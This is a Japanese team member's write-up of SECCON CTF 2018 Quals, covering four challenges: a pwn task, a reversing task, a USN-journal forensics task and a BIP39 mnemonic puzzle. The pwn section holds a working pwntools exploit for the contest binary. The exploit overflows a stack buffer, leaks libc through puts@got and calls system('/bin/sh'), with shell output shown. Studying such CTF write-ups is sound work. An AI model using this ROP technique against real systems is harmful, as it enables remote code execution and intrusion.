SECCON CTF 2018 QUALS writeup

SECCON CTF 2018 QUALS writeup

yharima チームで参加.2535 pts で 28th でした.過去最高順位.
もしかしたら国内予選もワンちゃんあるのかもしれない…?

今回から後輩2名が参加して,6人体制だった.

Classic Pwn

よくあるスタックの BOF があり, EIP を奪って libc をリークしてシェルを立ち上げる問題.
何故かチームの誰も解いていなかった & 一応 pwn 担当なので自分が解いた.

ひとまず A とかで埋め尽くすと EIP がとれることは確認.
また puts@plt などもあるので, GOT のアドレスもわかるので libc の base addr も計算できる.
また pop rdi の gadget もあるので,1回目は pop rdi => puts@got => puts@plt として libc のアドレスをリークさせる.
リークさせたあと,そのアドレスを使って system 関数のアドレスを計算する必要がある.
よくある手法だと stack piviot して bss などに任意のペイロード流して実行される,的な感じだけど,
今回は別に main に飛ばしてもっかい同じことをやれば良い.
なので,1回目は pop rdi => puts@got => puts@plt => main として,
2回目は pop rdi => /bin/sh addr => system とすれば良い.

(CTF) mbp:CTF yuta1024$ python classic_pwn.py
[+] Opening connection to classic.pwn.seccon.jp on port 17354: Done
[-] libc_base_addr = 0x7f1366771000
[*] Switching to interactive mode
Have a nice pwn!!
$ ls -l
total 16
-rwxr-x--- 1 root classic 8872 Oct 23 02:37 classic
-rw-r----- 1 root classic   44 Oct 23 02:37 flag.txt
$ cat flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
from pwn import *

context.arch = 'amd64'
con = remote('classic.pwn.seccon.jp', 17354)

con.recvline()
con.recvregex('Local Buffer >> ')

payload = 'A' * 72
payload += pack(0x00400753)  # pop rdi
payload += pack(0x00601018)  # puts@got
payload += pack(0x00400520)  # puts@plt
payload += pack(0x004006a9)  # main

con.sendline(payload)
con.recvline()
msg = con.recvline().strip()
libc_base_addr = unpack(msg + '\x00' * 2) - 0x6f690
print "[-] libc_base_addr = 0x%x" % libc_base_addr

con.recvline()
con.recvregex('Local Buffer >> ')

payload = 'A' * 72
payload += pack(0x00400753)  # pop rdi
payload += pack(libc_base_addr + 0x18cd57)  # /bin/sh
payload += pack(libc_base_addr + 0x45390)  # system

con.sendline(payload)
con.interactive()

Boguscrypt

実行してみるとどうも gethostbyaddr に失敗して終了してしまう.
バイナリを読んでみると,以下のように 0x200007f を INET_AF で解決しようとしている.

   0x080486b9 <+60>:    mov    DWORD PTR [esp+0x10],0x200007f
   0x080486c1 <+68>:    mov    DWORD PTR [esp+0x8],0x2
   0x080486c9 <+76>:    mov    DWORD PTR [esp+0x4],0x4
   0x080486d1 <+84>:    lea    eax,[esp+0x10]
   0x080486d5 <+88>:    mov    DWORD PTR [esp],eax
   0x080486d8 <+91>:    call   0x80484c0 <gethostbyaddr@plt>

途中まで読み間違えていたが,これは 127.0.0.2 の逆引きをしている.
当然 127.0.02 なんで引けないので,ひとまず localhost がかえるように /etc/hosts に追記して実行すると,
うまく動作して flag.txt が吐かれる.しかしぐちゃぐちゃになってて何かおかしい.
キーを求められるのでそこかと思ったが,異なるキーをいれても結果は同じになった.
ということは, 127.0.0.2 の結果によるものだと思い,同封されている pcap を読む.
127.0.0.2 の解決をしているパケットがあり, cur10us4ndl0ngh0stn4m3 らしいので,これを /etc/hosts に書いて実行するとフラグとなる.
SECCON{This flag is encoded by bogus routine}

History

なぜか解かれていなかったのでサクっとやった.
降ってきたファイルを file するとただの data だったので hexdump する.

$ hexdump -C J | head -10
00000000  60 00 00 00 02 00 00 00  55 ed 00 00 00 00 23 00  |`.......U.....#.|
00000010  61 08 00 00 00 00 01 00  d0 73 3f 01 00 00 00 00  |a........s?.....|
00000020  a4 df f6 d3 62 49 d1 01  00 01 00 00 00 00 00 00  |....bI..........|
00000030  00 00 00 00 20 00 00 00  22 00 3c 00 6e 00 67 00  |.... ...".<.n.g.|
00000040  65 00 6e 00 5f 00 73 00  65 00 72 00 76 00 69 00  |e.n._.s.e.r.v.i.|
00000050  63 00 65 00 2e 00 6c 00  6f 00 63 00 6b 00 00 00  |c.e...l.o.c.k...|
00000060  60 00 00 00 02 00 00 00  a7 56 00 00 00 00 01 00  |`........V......|
00000070  61 08 00 00 00 00 01 00  30 74 3f 01 00 00 00 00  |a.......0t?.....|
00000080  a4 df f6 d3 62 49 d1 01  02 00 00 00 00 00 00 00  |....bI..........|
00000090  00 00 00 00 20 00 00 00  20 00 3c 00 6e 00 67 00  |.... ... .<.n.g.|

ngen_service なる怪しそうな文字列があるのでググると以下の volatility のプラグインが見つかる.
volatility/usnparser at master · tomspencer/volatility · GitHub

これっぽいので,使い方をしらべて実行すると大量にでる.

$ python vol.py --profile Win7SP1x64 -f ../../J usnparser --output=csv -CS > out-j.txt

なんか RENAME したやつが怪しいという話だったので csv に吐き出したファイルからそのあたりをawk/ grep すると,

"SEC.txt" RENAME_OLD_NAME
"CON{.txt" RENAME_NEW_NAME
"CON{.txt" RENAME_NEW_NAME & CLOSE
"CON{.txt" RENAME_OLD_NAME
"F0r.txt" RENAME_NEW_NAME
"F0r.txt" RENAME_NEW_NAME & CLOSE
"WmiApRpl_new.h" RENAME_OLD_NAME
"WmiApRpl.h" RENAME_NEW_NAME
"WmiApRpl.h" RENAME_NEW_NAME & CLOSE
"WmiApRpl_new.ini" RENAME_OLD_NAME
"WmiApRpl.ini" RENAME_NEW_NAME
"WmiApRpl.ini" RENAME_NEW_NAME & CLOSE
"F0r.txt" RENAME_OLD_NAME
"ensic.txt" RENAME_NEW_NAME
"ensic.txt" RENAME_NEW_NAME & CLOSE
"ensic.txt" RENAME_OLD_NAME
"s.txt" RENAME_NEW_NAME
"s.txt" RENAME_NEW_NAME & CLOSE
"s.txt" RENAME_OLD_NAME
"_usnjrnl.txt" RENAME_NEW_NAME
"_usnjrnl.txt" RENAME_NEW_NAME & CLOSE
"_usnjrnl.txt" RENAME_OLD_NAME
"2018}.txt" RENAME_NEW_NAME
"2018}.txt" RENAME_NEW_NAME & CLOSE

とフラグっぽいものが出てきた.同じファイルの名前が変化しているよ思われるのでそのように awk/grepすると,

0xecfaL "SEC.txt" RENAME_OLD_NAME
0xecfaL "CON{.txt" RENAME_NEW_NAME
0xecfaL "CON{.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "CON{.txt" RENAME_OLD_NAME
0xecfaL "F0r.txt" RENAME_NEW_NAME
0xecfaL "F0r.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "F0r.txt" RENAME_OLD_NAME
0xecfaL "ensic.txt" RENAME_NEW_NAME
0xecfaL "ensic.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "ensic.txt" RENAME_OLD_NAME
0xecfaL "s.txt" RENAME_NEW_NAME
0xecfaL "s.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "s.txt" RENAME_OLD_NAME
0xecfaL "_usnjrnl.txt" RENAME_NEW_NAME
0xecfaL "_usnjrnl.txt" RENAME_NEW_NAME & CLOSE
0xecfaL "_usnjrnl.txt" RENAME_OLD_NAME
0xecfaL "2018}.txt" RENAME_NEW_NAME
0xecfaL "2018}.txt" RENAME_NEW_NAME & CLOSE

なので, SECCON{F0rensics_usnjrnl2018} がフラグ.

mnemonic

最初はまったくわからない.文字コード?とか思って色々調べてみるのさっぱりだめ.
後輩二人が mnemonic だから…という話をしていてふと,そういえばニーモニックなのかと思う.
最近 Monacoin のウォレットを作ったときに,問題のひらがな複数から何か生成するみたいなのがあったな…と思い当たる.
bip39 とかなんかそんな感じだったかとおもって bip39 のワードリストを漁り,問題のひらがなが含まれるか調べてみると何個かいれて全部ヒットした.
ということはこれかもと思い,問題のすでにハッシュ値がわかっているやつからハッシュ値を生成してみると…

$ cat index.js
const bip39 = require('bip39');

const ret = bip39.mnemonicToSeedHex("ふじみ あさひ みのう いっち いがく とない はづき ますく いせえび たれんと おとしもの おどろかす ことし おくりがな ちょうし ちきゅう さんきゃく こんとん せつだん ちしき ぬいくぎ まんなか たんい そっと");

console.log(ret);
$ node index.js
338c161dbdb47c570d5d75d5936e6a32178adde370b6774d40d97a51835d7fec88f859e0a6660891fc7758d451d744d5d3b1a1ebd1123e41d62d5a1550156b1f

と一致した.もうこれじゃん,と思うも短いハッシュのほうの生成方法がよくわからない.
試行錯誤するとどうも mnemonicToEntropy を叩くと短い方のハッシュがでてきた.

ニーモニックのうち先頭の1つだけ ?? になっているので,まずワードリストから長い方のハッシュに一致するニーモニックを全探索する.

$ cat index.js
const bip39 = require('bip39');

bip39.wordlists.JA.forEach((e) => {
  const mnemonic = e + " とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる";

  const ret1 = bip39.mnemonicToSeedHex(mnemonic);

  if (ret1.startsWith("e9a")) {
    console.log(e);
  }
});
$ node index.js
はいれつ

ここまでわかればあとは mnemonicToEntropy をとって md5 にかけたものがフラグ.

$ cat index.js
const bip39 = require('bip39');

const mnemonic = "はいれつ とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる";

const ret = bip39.mnemonicToEntropy(mnemonic, bip39.wordlists.JA);

console.log(ret);
$ node index.js
c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f70
$ echo -n "c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f70" | md5
cda2cb1742d1b6fc21d05c879c263eec

なので SECCON{cda2cb1742d1b6fc21d05c879c263eec} がフラグ(だったはず).

まとめ

kindvm 頑張っていたけど hint3 まで出せたところでタイムアップでした.
今回はなかなか頑張れた.国内予選出れたらいいな….わかったら追記します.

他のメンバーの writeup

qiita.com

追記(2018/11/08)

国内決勝出場権を得れました!!! :tada: